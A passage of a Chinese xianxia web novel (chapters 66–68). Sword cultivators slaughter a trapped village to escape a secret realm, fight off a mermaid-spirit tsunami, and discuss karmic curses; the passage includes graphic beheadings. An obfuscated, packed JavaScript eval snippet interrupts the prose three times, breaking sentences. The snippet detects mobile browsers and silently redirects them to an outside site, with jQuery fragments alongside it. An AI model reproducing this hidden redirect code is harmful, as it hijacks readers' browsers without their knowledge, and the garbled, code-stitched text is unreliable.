看着院里三个咕噜噜的人头,泉芷感到自己的头也摇摇欲坠起来,她下意识往院子外跑,冲到路上看见两个村民,见她惊慌失措的模样还有些奇怪,正张嘴要问的时候就咚咚了。 “啊!”曾换月发出一声惨叫,两脚几乎腾飞地避开了脚边的人头,闭上眼睛往唯唯家跑去。 搞什么啊!! 跑吧,跑啊。 院子里跳舞的人旋转跳跃甩飞了头颅,他的脑袋落在树枝上,默默地注视自己不受控的身体接受死亡的安排倒在地上。身首分离是它和它最好的归宿,毕竟从来也不熟的。 这家门口,黄家女人倒在黄家男人身上,五百年前她竟然只有对方的一半身量,但脑袋是一模一样的大,二人双目相对着,脸上还带着一些笑意——分明方才还吵过架呢,真是对长情夫妻。 再往前跑,胡家三人还在门口吵架,这时院子里冲出来一个拿着酒壶的老头,醉醺醺地把酒壶往他同样醉醺醺的儿子头上一砸,他儿子脑袋就被砸掉了。老太婆发出一声尖叫,气急地推了老头一把,老头也是呆呆地往墙上一撞,咚。 老太婆吓晕了,倒在地上,咚。 傻女人漠然地看着这一切,忽然抬起眼来看向跑来的顾梦真,在他惊惧放大的眼中把自己的脑袋扭掉。 顾梦真满眼血色,感到有人掐住了自己的喉咙,他发不出声音,只埋头苦跑。 一路跑来一路死人,一个个人头仿佛在为他们指引方向,但怎么都赶不上这暗中凶手的杀人速度。 血液在地上流淌,血气在空中弥漫,海螺村被浸染渗透;红脚印一步一显,错乱着往前延展去,所经之处岁月如袭来的海水,一涌翻去几百年。 “唯唯!” 顾不上死在门口的陈二娘,她破门而入,瞧见唯唯背对着坐在院中,正摇着扎了两个小揪揪的脑袋哼着歌,和手中的单眼布娃娃说话。 听到有人叫她,她欣喜地回过头来,一只眼里笑意盈盈:“姐姐你回来啦?娘说你们去了河那边……” 曾换月连忙扑过去把她抱在怀里,一只手按住她的头,生怕一眨眼这颗小脑袋就错位掉下来了。 唯唯很是奇怪,视线顺着从门口进来的血脚印转到曾换月鞋上,心中感到一些茫然的可怖:“姐姐,地上好多血……” 曾换月顾不上回复她的话,她已分不清自己在哪里,九百年前还是五百年前?亦或是已经回到了真正的海螺村? 她不知道,只感到一种可怖的威压正在逼近,手中紧捏着几张符纸,警惕地打探着四周,忽然发现门口踩入了另一对脚印,正缓步朝她们走来。 “不要过来!”她吓得头皮发麻,尖声大喊道,“你是谁?为什么要杀这么多人!?” 血脚印停在了二人面前,似有些疑惑。 曾换月猜出这坏蛋应是和她们在不同时空,但她在那里杀的人在这里也会死……怎么办,如果让这人找到了另个时空的唯唯…… 事到如今,只有将所有时空融合,然后让师姐师兄对付他,可是…… 曾换月看着手中的破镜符,这是元婴期才能学的符箓,她先前是画来玩的,再说她画的符大多都是效果诡异,这张她哪敢用啊?真是到了死马当活马医的关头才硬着头皮一试——比如现在。 唯唯小心地看她:“姐姐,我娘呢?” “嘘,唯唯乖,等会带去找你娘。” 她真是没招了,只好下定了决心,施法启动了破镜符,好在是有发挥效用的,只见空中浮光一闪,竟隐约瞧见一个拿着剑的人影站在院里。她一眼就认了出来,欣喜大喊道:“师姐!!” 那人影往她的方向看来:“换月?” “师姐!”曾换月差点要哭出来,抱着唯唯过去抓了抓那虚影,但什么也没摸到,“师姐,你在哪啊?你看得到我吗?” 石映心点点头又摇摇头道:“我只瞧见一个……两个影子。唯唯在你身边?” “是!”曾换月紧忙道,“村里人全死了,只剩下我和唯唯,师姐,我不知道怎么办了……” “为什么唯唯不在我这?”石映心奇怪地嘟囔了一句,很快又把这问题抛到一边,“算了,不重要。换月,我已经找到了破镜的办法。” 不愧是师姐!“真的吗?太好了,是什么办法?” 石映心的声音听起来很寻常:“只要杀了全村人,秘境就会消失。” “什……” 她瞧不见师妹目瞪口呆的表情,继续说着:“我一路杀过来,应是杀得差不多了,只是没找到唯唯。换月,既然她在你那,你把她杀了吧。我去外头看看有没有遗漏的村民。” 她说完就往外边走,走到几步远外就不见了,等曾换月从“师姐杀了全村人”的震惊中回过神来时,石映心已经连个虚影都瞧不见了。 “等等,师姐……”她惘然地看着门口,“我做不到啊。” 她看见怀里的唯唯正抬头看着她,天真的单眼里有缥缈的害怕和不解:“换月姐姐,你要杀了我吗?” “我……”曾换月下意识摇了摇头,但很快就停住了脑袋,不知做出什么表情面对她,“唯唯……我,我不知道……” 她原以为来到修仙世界这么些年早已习惯了这一切,习惯小师妹的身份,习惯学那些鬼画符,习惯面对神奇的生物……就算没到元婴就下山又如何?有师姐师兄保护,世间的一切都只是新鲜。 如今才明白,原来她是只坐井观天的青蛙,安居于归壹派里一派和谐的好日子,只瞧见师姐师兄的剑光照亮的一方天地。她还没面对几个过凶神恶煞之徒,第一个对手是这个单眼的、手无缚鸡之力的小姑娘…… 偏偏是个好人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15964442|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她宽慰自己,说这里只是秘境,指不定这些村民都是假的,一定是假的!但如果是真的……如果是真的……她怎么下得了手呢?可不杀了唯唯,她们就要一直困在这里。 她一人就算了…… 曾换月纠结中也有坚决:但师姐和师兄不能被她拖累。 所以只能……对不起了。 曾换月死死咬着的唇一松,飞快地掏出一张符箓贴在了唯唯的额间,见她好奇地转着眼珠子打量,还要伸手去拿——她狠心地抓住了她的小手,低声道:“唯唯,等你睡着了就不疼了。” “姐姐,”唯唯蹙着她稀薄的小眉毛,“你怎么了?” 曾换月喃喃地说:“我对不起你……” 唯唯目露同情地看着她:“唯唯没关系的,我死了之后就什么都不知道了,如果你一直记得,你会难过。” “……唯唯,你不怕死吗?” 唯唯额间的符箓发起光来,照得她的小脸有几分透明,她突然多长了一只眼睛出来,一双圆圆的杏眼笑意盈盈地看着她,声音有些缥缈:“姐姐,若你知道世上有一死便能解决的业障,那死便是恩赐了。我已经困在这里太久太久,久到我不知道……今生的我到底是谁……” 她用空出来的手轻轻覆上曾换月的手背,拍了拍道:“你别怕,我应该……谢谢你……” 曾换月茫然地明白了她的意思,死对她来说是解脱。可即使告诉自己是在帮她,亲手送走一条生命也让她的心沉甸甸的。她将沉睡的唯唯抱起来,出了院子往村外的海边走去。 在醒不来的睡梦中溺死,这是她能想到的、形式上较为温和的死亡方式了。 ……她不是说师姐残暴的意思哈! 说到她师姐,石映心不知道师妹下不了手杀人,还以为唯唯已经死了,秘境未破是因为村民还没死光,这会正在忙忙碌碌寻活人呢。 奇了怪了,以她的六识,若是哪里有动静应该很快就能发现才是,除非那人一动不动。可她都已经从村尾走到村头了,还没什么发现…… 等等。她恍然间感到什么,往前几步走去,很快瞧见对面显出一个虚影来,石映心一下心情开朗:“大师兄!” 明易脚步一顿,自然也瞧见她了:“映心?” 石映心应了一声,又说:“大师兄,你有见到什么活人吗?” 明易默了默道:“村里人都是你杀的?” “是啊,我照了泉绮,这就是她的办法。” “原来是这样。”明易似乎叹了口气,“我一直在马懿书房中找线索,在一处机关中找到了一本书……算是发现了海螺村的真相。”然后出来人就死光了。 “哦。”石映心对真相不是很感兴趣,只是说,“师兄,你那里有活人吗?把他们杀完我们就能出去了。” 明易想了想:“村中共有144人,你杀了多少人?” 石映心哪里记得啊:“忘记了。” 明易换了个问法:“你杀过最老的人和最小的人是谁?” “一个八旬,一个两三岁?”她说到这里想起什么,“不过我杀着杀着,发现这会已经是我们刚来时的那个海螺村了,不是九百年前五百年前的……似乎哪里有些奇怪,不过问题不大,我见着的人都死了。” 明易颔首道:“果真如此,看来确实还有一人活着。” “谁?” “走吧。” 66. 第 66 章 石映心一路跟着他又往村尾走,原本以为大师兄要去唯唯家还想出口提醒,却见他一拐进了唯唯家隔壁。侧过脑袋和她说:“还记得吗?马老死的那晚,陈大娘说过隔壁人家生了个孩子。” “哦!”石映心想起来了,“我方才在这家只杀了一个卧床的女人。没见着刚出生的小孩。” “嗯,四处找找吧。” 二人掀锅开柜地找了一会,石映心从茶壶里抬起眼道:“这婴儿真聪明,竟然不哭不闹的。” 明易轻笑道:“自然不是普通小孩。” 石映心动了动脑子:“方才那个女人躺在床上奄奄一息,感觉我不杀她也要死了,她有力气把孩子藏得多远呢?定是就在身边。” 她说着就往卧房走去,明易紧跟其后,一进屋差点踢到滚到门边的人头,四目相对确实有些惊人,他忍不住道:“映心,你为何总砍她们脑袋?” 石映心脑袋一歪:“比较顺手呀,戳心的话刺进去还要拔出来,这就是两个动作了。” 明易嘴角微抽:“你真是一个……天生的剑修。” 石映心点点头:“师兄你也是。” 明易:……应该是夸奖吧,嗯。 二人走到床边,发现了古怪之处:明明天气不凉,女人却盖着两床被子。石映心把上面那层掀起来,看见下面那一层被子染了大圈的血。真是奇怪了,她砍的是头,枕上有喷溅的血正常,可身上哪会流血呢? 于是又把下面那层掀开,看见了答案—— 原来是女人将肚子剖开,把孩子重新塞进去了。松弛的皮肉歪歪扭扭地被撕扯开,并不严实地罩住了里头微微起伏的生物,裂开的缝中血肉模糊,此时还在随着肚中婴孩的呼吸而溢出血来,仿佛源源不断。 边上摆着一把生锈的菜刀,刀刃卡着一些肉末。 “大概是她瞧见我杀人了,所以才想到这办法。”石映心有些感慨,“为了保护孩子,死前还要活受罪,可惜多此一举。” 明易叹了口气,把女人的肚皮扒开,瞧见了里头蜷缩的孩子。这小孩慢吞吞地睁开被血肉粘连的双眼,懵懂而冷静地和他对视上。 师妹在后边说:“师兄,快杀了他。” 明易没有回头:“映心,你知道他是谁吗?” 石映心:“我需要知道吗?那师兄你说吧。” 明易将手卡在婴孩不明显的脖颈之间,一字一句道:“他就是马懿。” 话落手一扭,结束了他这短暂的一世,漫长的一生。 * 咕噜噜…… 咕噜噜…… 咕噜……噜…… 石映心醒来,自己正漂浮在海中,腰上捆着连连绳,顺着绳子看去,边上横七竖八地飘着她的师妹师兄和泉芷。 秘境已破,她们出来了。 不等她去叫醒他们,几人相继醒来,皆是茫然地面面相觑了一会,海里不好说话,还是决定上岸再说。 这会是晚上,海水深黑,几人游出海面,却见不远处的岸上一片灯火,照得水面浮光片片,隐约还有人声乐声传来,瞧着很热闹啊。 顾梦真抹了一把脸,神情呆滞:“这、为什么这么多人……” 泉芷默了默道:“应是宗主他们发现了我们偷窃宗主令、擅闯禁地一事,要来捉拿我们回去问罪……” 顾梦真瞪眼看向那岸上的一大片:“来的人真不少啊,需要这么兴师动众吗?我们难道是什么大坏人?” “罪上加罪,宗主定是气坏了。”泉芷叹了口气,又转头来朝几人道,“几位放心,在下一人做事一人当,绝不会连累你们。” 石映心说:“可我们是五人做事。” 泉芷笑道:“你们只是念在朋友之情,推脱不了我的百般请求,在禁地之外帮我放哨。” 曾换月拍拍胸脯,瞧着很义气:“既然你把我们当朋友,那就没有让你一人背锅的道理。你放心,就是看在归壹派的份上,你们宗主也不会太为难我们。” 泉芷心中很是感动:“可是……” 明易总觉得事情不是这么简单:“我们几人一同消失了这么久,先前也说过因果牌的事,赵宗主想必是心知肚明的。既然做错了事,就坦然面对吧,是骡子是马,去岸上看看便知。” 石映心扭头打量:“哪里有骡子?” 明易:……有时候真不知道她在课上学了什么。 曾换月拍拍泉芷肩膀:“大师兄说的没错,虽然我们是同林鸟,但是大难临头还是不要各自飞了,一起飞也有照应嘛。” 泉芷:“嗯?” 明易:……疑似找到罪魁祸首。 不管如何,几只同林鸟还是要飞去岸上看看是骡子是马。 走近了之后,只见岸上呈方阵的合欢宗弟子,个个都拿着本命法宝,一排琴一列鼓地站在那,阵仗很大。许多弟子方才还凑在一起偷偷嘀嘀咕咕嘻嘻哈哈的,这会见她们几人从海里出来,个个闭上嘴巴,严肃地端正态度。 赵有志和安蔚然站在最前方,脸上没什么表情,只是默然盯着几人从海里爬出来,然后万众瞩目地走上前来. 泉芷先跪下了:“宗主,师父,都是泉芷的错……” 明易几人在后边行礼,安分地没说话。 赵有志哼出一声气,伸出手:“还不把我的宗主令还来?” 泉芷麻溜地把宗主令献上,赵有志拿过来赶紧收着,咬牙道:“你真是叫本座丢尽了面子!” 泉芷唯唯诺诺:“弟子知错,甘愿受罚。” 赵有志:“哼!” 安蔚然微微颔首道:“好了,快些起来吧,去归队站好。” “师父,这是发生什么事了?”泉芷不解地抬起头,“这么多同门不是来捉我的?” “你个小丫头有这么大本事?”赵有志呵呵气笑了,“禁地被先祖封印在南海之下,聚灵亦能镇海,你们几个胆肥的破镜之后,灵气泄出将会造成海内动乱,我等在此是为了压制将要袭来的海啸!” 泉芷恍然抬起头来。与此同时,众人只听身后一声震天动地的低吼,仿佛来自深海里恶鬼的咆哮,压抑着蓄势待发的兴奋。 安蔚然蹙眉望向远方海域:“来了。” 赵有志举起宗门令高声道:“合欢宗众弟子听令!誓要守住合欢防线,阻止海啸侵害人间!” 明易与师弟师妹们对视一眼,迈步上前道:“赵宗主,我们四人也愿效绵薄之力。” 都到这时候了,赵有志也不和他们假客气,呵呵道:“你们这几个……呵呵,在我合欢宗闹出这么大动静,帮个忙也是应该的。” 明易:“……任凭宗主安排。” 合欢宗众人要一同施法巩固护门大阵,石映心几人则被派去杀那些海水带来的变异小怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15970964|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匆匆准备之后,耳边已是阵阵如雷鸣的浪声,忽地一声骤响,黑天之下海面之上冲出一座天高的巨山,如泰山压顶一般奔涌而来—— 众弟子俱是一吓,连忙奏响乐曲,无数灵光自乐器中如泡泡般被吹出来。石映心在边上新奇地望去,漫天飞舞的绚丽景色,她还以为自己是在海底看鱼儿们吐泡泡……这些人其实都是鱼吧,她莫名这么想。 鱼泡泡们一边飞舞一边聚集,一个接一个地连结起来,越来越大、越来越亮,最后形成一道DuangDuang的灵力弹球将大片的海岸和合欢宗笼罩了住,石映心就在边缘,顺手摸了摸,触感像水煮蛋。 在那座泰山浪潮袭来之前,前边有几波稍逊色的“小”浪,打在水煮蛋阵法上像要破壳的雏鸡使劲地钻,凸出来好大一块,被两位宗主以及明易等人齐力推回去。 这阵法似乎只挡浪不挡鱼,有许多海鱼群夹杂着因灵力波动而变异的鱼怪顺流而来,一个个飞蛾扑火似地冲进来,打了众人好几巴掌,天上下的是鱼雨,地上四处活蹦乱跳的鱼,有些长牙齿地猝不及防跳起来咬你一口—— “啊!”“靠!”“老子蒸了你!” 场上也是很热闹的,但也免不了受伤。 石映心一剑扫去一片血色,所到之处只鱼不留。鱼血融入沙滩,夜色中瞧不出来,不过踩下的脚步变得沉重了一些。 顾梦真拿出他的云舟,说这玩意可以吸水,果真在空中吸去了许多水浪,真是没想到还有这用处呢;曾换月负责到处找细小的阵法漏洞画符,飞来飞去缝缝补补,防止让千里之堤溃于蚁穴。 大伙忙忙碌碌着,眼见那巨浪越靠越近,心脏也随着打鼓的弟子咚咚咚起来,已经跳到了耳边。 明易在哗哗声中听见安宗主对赵宗主说:“……怕是拦不住这最后一浪。” 那很糟了。冲翻了合欢宗倒是还好,修仙人士尚能自保,可若是让这浪一鼓作气冲到附近的城池,可怜了那些无辜百姓…… 明易仰头望去,二师弟的云舟已经吸满了水,这会是前头吸后头漏,船身上也处处是将要崩溃的裂痕;小师妹画符画得手都不利索了,左手握着右手腕在咬牙强撑;还有那些合欢宗的弟子们,弹琴的手指抽筋,吹笛的嘴巴抽搐……个个都很惨。 至于石映心——嗯?这家伙去哪了? 砰砰。 肩膀上忽然被拍了两下,明易转过头去,看见石映心背着手站在那,一脸无辜地看着他。 这表情他不要太熟悉,明易顿感不妙,镇定地问:“……怎么了?” 事情是这样的,石映心说,她刚刚在那里杀怪鱼,瞧着这么多靶子,就想着正好练练她新学的元婴期剑法“落雨飞花”,简单来说就是能让剑在空中散出无数带剑意的剑影一招击中多个目标,在此情此景用是很合适的,但大概是还不太熟悉的原因—— 然后,乱七八糟的剑影和怪鱼之中,她一眨眼就找不到真的剑了。 然后,她的剑就自己去玩了。 然后,等到她找到剑的时候,就见它插在合欢宗的鲛人雕像上。 然后,她把剑拔下来,雕像的手就掉了。 说到这,她把背后的手伸出来,手心里捧着一只石雕手,石雕手上还有一个大海螺。这家伙也知道自己闯祸了,脸色有些苦恼地说:“怎么办啊大师兄,师父赔得起吗?” 明易:…… 67. 第 67 章 大师兄,现在不是责怪师妹的时候! 明易生生咽下一口叹气,正想说“等过了这关再去赔罪”,却见安蔚然突然冒出来,一下抓住了石映心的手腕,后者微惊:“安宗主,实在对不住了,你放心,就是倾家荡产我师父也会赔你的……” “不,”安蔚然接过她手中的石膏手,目光静静地看着它,“过去这么久,没有你,我还想不起这事……” 师兄妹二人对视一眼,不明白她的意思。 安蔚然将手指划破,将血色涂在石膏海螺上,只见莹白的石膏逐渐褪去,竟显出一只晶莹剔透的蓝海螺来,莹莹光辉一看就不凡。安蔚然微微一笑道:“禁地已破,海螺的封印果然会消失,合欢宗有救了。” 话音刚落,就听弟子们传来压抑的惊呼,赵有志在那边大喊道:“蔚然,快来帮忙啊!” 浪近了。它像嘶吼的巨龙,仰天长啸着冲进云层里,压下避无可避的拳头雨点,砰砰砰砸下来,人们第一次知道被雨水打会这么疼。 再近一些。浪潮下跃出一个硕大的水影,上半身是人,她昂首挺胸地往天上游去,下半身是鱼尾,仿佛是这硕大有力的尾巴将巨浪掀起,后又隐入海水中消失不见。 众人一时被这鲛人的水影看呆。 “映心!”泉芷神色焦急地飞来拉住她,“这巨浪中有先祖遗力,此劫难免,你们快逃吧!” 石映心也看出来了,不过:“可是你师父说有办法。” 泉芷:? 轰—— 它来了,浪就在眼前,她跃出了水面重现人世。天地高阔,她一摆鱼尾便能触及;千秋万代,对大海来说不过是转瞬之间。 是鲛人!有弟子在惊呼。 安蔚然镇定地掐诀施法,蓝海螺飘去空中逐渐变大,莹莹的光芒似月色惠及大地,它直面冲来的鲛人巨浪,螺壳像镇山塔一般屹立着——当然苦苦支撑着的是下方的安蔚然,还有一干合欢宗弟子,虽然他们的鱼泡泡阵法的效力不及这海螺半分。 赵有志见安蔚然脸上血色尽失、双手都在颤抖,焦急道:“师妹,这是什么术法,我来帮你!” “不可!”安蔚然咬牙强撑,“只有鲛人才能驱使神螺……” 赵有志一愣,喃喃道:“原来它就是传说中先祖的法宝……可你的修为早已经……唉。” 眼见说有办法结果很难办的安蔚然那边情况很不妙,明易忽然想起什么,拿出一面漆黑的小镜子来。 石映心在边上打鱼,好巧不巧被她瞧见,不过这会她没说什么,只是见大师兄将那黑镜送去蓝海螺边上,一下子就被海浪吞噬进去,不过奇怪的是镜子后并没有海水涌出来,竟然空了这么一截。 这是面照不见人的黑镜,因它有吞噬灵力的奇效,石映心的照人之术自然包含其中,故无法。此镜厉害却危险,天虚仙尊赠予明易的这面只有很小的效用,治治石映心是够的。 治这巨浪——有用但够呛。 果然,没撑多久黑镜就破了,但巨浪鲛人不过是缩小了三分之一的体型,此刻还在同神螺在做最后的抵抗,那神螺也是摇摇欲坠、仿佛下一刻就要破碎。石映心扶住被黑镜破碎反噬的师兄,匆匆落地。 赵有志突然冲来拉住泉芷:“你也是鲛人,快去帮你师父!” 泉芷茫然又慌张地被拉过去,看安蔚然强撑的模样也很着急:“师父,我要怎么做?” “以你我二人的修为是不够的。”安蔚然的声音听着也很虚弱,“不过能挡一会是一会……唉,你是鲛人,这也是你应该做的。你用合欢双修之法辅助我便可。” “好!” 有了泉芷的协助,巨浪鲛人已然褪去二分之一,底下竭力的弟子们忍不住喘气休息:“搞半天了还是这么大,我真撑不住了“已经小了许多了,要不就这样吧”“唉,估计我们宗门要重建了”“宗门是小事,人间半夜来洪水,这要死多少人啊”…… 另一边,石映心把师兄放在沙滩上坐好,见他捂着心面色苍白冷汗淋漓,关心道:“大师兄,你没事吧?” “没事,”明易轻声道,“反噬便是这样,过会便好了,你快去帮忙。” 石映心想了想道:“大师兄,也许我照了安宗主和泉芷也能驱使神螺。” “不可!”明易紧忙拉住她的手,“神螺认的是鲛人血脉,你只是复刻术法,当心被反噬!” “不试试怎么知道?大师兄,我想帮泉芷。” “映心!”明易疼得要死,拉着她的手也不肯放,愁眉盯着她摇摇头,一字一句道,“那是神螺,不是普通法宝,你不要乱来。” 石映心立刻点点头:“好吧,那大师兄你好好休息,我去杀鱼了。” “等等,你……” 飞走了。 明易:…… 石映心飞到泉芷边上,正要照一照,却见她通红的双目忽然对着前方一定,张嘴道:“大姨?二姨小姨?大表姐二表姐小表妹……” 石映心:? 她扭头看去,就见海里冒出好多女人的头,她们爬上岸来,鱼尾变成了人腿。弟子中很多人认出来了:“是泉珍师叔”“还有泉洁师妹!她不是生孩子去了吗”“泉君师姐也有许久不见了”…… 鲛人们走上前来,领头的泉珍笑了笑道:“好久没回来,也来不及带礼物。不过送一些绵薄之力,两位宗主可不要嫌弃。” 安蔚然没力气说话,只是朝她们笑了笑。赵有志在边上七上八下地跳:“各位姐姐真是及时雨,赶紧着帮帮忙吧!” 于是神螺边上便围了一圈鲛人,她们举手施法,束束灵光把神螺高高捧在空中。只见那巨浪中的蓝海螺倏忽变大了许多,亮光穿透幽黑的海水,也不再那么摇摇欲坠,似乎很有希望。 那浪中鲛人急速缩小了几分,似乎也明白局势已变,猛地张开双臂仰天长鸣一声,无声之音动荡了海面,又是一阵破涛汹涌;众弟子发出惨叫,顾及不暇地捂住耳朵;顾梦真的云舟被震破,浇下来的水把他拍打到岸上;曾换月也因来不及修补好面前的缝隙而被海水冲开。 神螺下的鲛人们耳朵里流出血来,个个都在咬牙硬撑。泉芷抬起头看那海空中的鲛人,无声地说了句什么。 先祖。石映心瞧见了。 她擦去耳蜗里流出的血,提剑飞到了空中。 既然大师兄不让她照神螺,那就照这先祖遗力吧。帝血剑在她手掌嗡嗡发抖,一定是兴奋吧?她的剑怎么会胆小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15976459|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。 她来到神螺边上,近了才发现这神螺似镇妖塔般高大,那浪还有一座楼那么高,鲛人从海水中冲她而来,怼面时仿佛一张嘴就能把她吃进去。 好大大大大的鲛人,这得用大大大大招。石映心想,很快记起先前在摘星大会的秘境中学到的劈天剑法;不过剑法是厉害的,还得辅佐足够的修为,这时再照了这巨浪的先祖遗力…… 理论上应是可行。 思及此她不再犹豫,起势舞剑,避在神螺的护法之下,不顾时不时泼来的海水,她挥动长剑如游蛇,剑尖划破海水荡出浩然剑气,一招一式在神螺的光辉下如飞燕掠波,蓄势待照—— 明眸之中翻滚起海水,鲛人先祖遗力将她淹溺。石映心一时恍惚,再一睁眼,她坐在沙滩上,炎日高照着湿润的鱼尾,她举着剑,剑尖离鱼尾只有半寸。石映心第二次做这题,不假思索地将剑穿透肉身,刺心的疼痛只是眉上一丝轻蹙。 她也不怕。 帝血剑划破巨浪鲛人的鱼尾,将她自下而上一分为二。原先还能复原的巨浪竟就此失去了力量,轰然一声分倒两侧,一下砸入海中,发出最后一声哀鸣。回光返照的近岸浪花掀翻了岸上众人,止于合欢宗大门前的鲛人石雕鱼尾下。 遮蔽天色的浪潮终于散去,月辉一片片落下人间。 石映心从天上飞下来,瞧见沙滩上横七竖八躺着许多人,不知怎么觉得这场景有些熟悉,换月她们在哪躺着呢? 找人好累的,想想就脑子累,一累就有点——晕。 “映心!” * 石映心醒来的时候有些不知天地为何物了,她不知道自己睡了多久,只觉得这一觉睡得和平时不大一样,往常睡醒神清气爽,这会体内的真气跟被掏空了似的,下床都有些腿软。 于是又躺回床上,看着床顶缓神,迷迷糊糊地觉得自己好像做了很多梦,但是一个也想不起来。 感到恢复了一些力气之后她就开始在床上打坐,自知这次开大招耗费太多精气神,得要调息修养几天才好。 半个时辰过后,出了一身汗的石映心施了澄净诀后就清清爽爽地出门了。先去师妹房间看了看,里头乱糟糟的没有人;又去找了大师兄和二师兄,也不在。最后是碰巧遇见回来的方翔,得知换月她们在帮合欢宗做修缮工作。 “你这一觉睡了三天三夜。”方翔关怀地看着她,“你师兄他们都很着急呢。” 三天三夜在睡梦中也不过是转瞬的事,石映心并无多大感想地点了点头。 方翔又道:“宗主她们都瞧见了,当时是你拼力将巨浪劈开,不然以副宗主和几位鲛人前辈的修为所合还是很勉强。当然,你们归壹派几人都帮了大忙,否则我们这次定会损失惨重。如今除了沙滩那片狼藉了一些,宗门里倒是安然无恙,最重要的是没有危及人间。” 石映心“嗯”了一声,实话实说:“不过也是因为我们擅闯了禁地才……” “嘘。”方翔把手指放在嘴前,朝她眨眨眼睛,“好了,这事宗主他们不追究的话,你可不要再提了。” 石映心顿了顿:“哦。” “你师兄他们在沙滩那边。” “好,多谢方大哥。” 68. 第 68 章 石映心来到沙滩,看到上面有很多弟子在捡垃圾和清理沙滩。她四处寻了寻,很快找到挽着裤脚、背着鱼篓正在捡鱼的小师妹和二师兄。二人见她醒了,皆是兴奋地跳过来:“映心,你总算醒了!身子可还有恙?” 石映心说好多了,又问现在是什么情况,大师兄在哪。 顾梦真叹了口气道:“大师兄正在和安宗主他们详谈禁地的事呢。好在这次没酿成大祸,不然赔钱是一回事,我良心也过不去唉。” 说到良心这事,曾换月也有一会的失落内疚,不过她很快又精神道:“师姐,你快看看因果牌如何了?” 石映心这才想起因果牌的事,拿出来一看,诗词消失了大半,只剩下“是我”二字。 是我?是谁呢? 曾换月泄气嘟嘴道:“折腾这一番差点要累死了,结果还剩下两个字!” 顾梦真也是扶额头晕:“这次是真没招了。” 石映心淡定地把牌子收起来,很靠谱地说:“没事,我已经知道了解决鲛人族奇毒的办法。” “是什么!” * 石映心原以为大师兄会很生气,没想到他只是默不作声地看了她一会,竟然没说什么,把食盒往桌上一放,很平静道:“吃完饭好好休息。” 石映心把食盒抱过来,抬眼看他:“大师兄,你想骂我就骂吧。” 明易的视线落在一边的花瓶上:“说了你也不听,我何必白费口舌?” 话是这么说,但是:“我想师兄你骂出来心里能舒服些。” 明易:“呵。” “我好心想帮忙……”石映心已经想好了借口,“难道做好事也有错了?” “我只想你帮些力所能及的忙,最好是顺手而为的那类,”明易的视线落在她手中的食盒上,“而不是这样去逞强……你总是分不清界限。” 石映心无辜道:“我想不明白这么复杂的情况。” 她就是想做就做,要做就做到,很像一根筋思维,这也是她明显缺少“人性”的地方。其实也有会影响她的因素,但她对这些的判定也有些奇怪,比如:只要师父师妹师兄没事,那就能放手去做了。 明易觉得她其实很好懂,但因与常人不同而费解。 思来想去只有一声叹气:“你现在好受多了?修为恢复得如何?” 石映心便听出来他是不生气了:“好受多了,修为也恢复了大半。” 明易微微颔首,又道:“这几日你好好休息,不要再四处折腾。” “嗯嗯。”石映心应和下来,“我明白的师兄,我要好好恢复,过两日还要和泉芷双修呢。” 明易:“……嗯。” 等等:“你说什么?!” * 方大哥说泉芷这两日很忙,忙着招待从海里回来一聚的各位鲛人亲戚。石映心便想着过两日再去找她。 大师兄对她要和泉芷双修的事表示不同意,她那会是点点头了,但是毕竟先答应了泉芷,就先来后到地履行承诺吧。 两日后泉芷总算得了空,主动来找她,还带来了一些合欢宗特产补品,说要让她好好补身子,石映心听她说起来很好吃,于是都收了下来。 二人在桌上对坐,石映心念着因果牌的事,主动开口道:“泉芷,我已经知晓了解你们鲛人族奇毒的办法。” 若是往常,泉芷定是迫不及待地追问起来,但这会她却反常地沉默了,佁然不动地望着她望了一会,扬起一个浅浅的笑来:“多谢你,其实我也知道了。” 石映心看看手中的茶盏,又看向她说:“是吗,那你如何想呢?” “我……”她顿了顿,忽然转了话题,“能让我看看你的因果牌吗?” 石映心便拿出牌子给她,见泉芷接过来放在手心看了会,低声念道:“是我。” 石映心:“只剩下这两字了。” 泉芷朝她笑了笑道:“原来答案真的就在这句诗中。” “答案?”石映心看她有些苦涩的笑容,不解道,“什么答案?今日方知我不是我?” “对。”泉芷微一颔首,似乎也叹了口气,“原先我不明白……或者说不想明白。直到去了海螺村才认清事实。人自生来便带业障,寻常人也许不明显,可海螺村的千秋万代却将这真相血淋淋地展露了。我、我不能再不明白。” “明白什么?” “明白只要我们还活着,只要血脉继续传承,错误便会永不停止……这份因果看似伴我这一生,实则随我入永世轮回……原来我生生世世都是一条身中奇毒的鲛人。我生了我,我留下了因,也成为了果。我不是我,是累世因果的集成。” 累世因果? 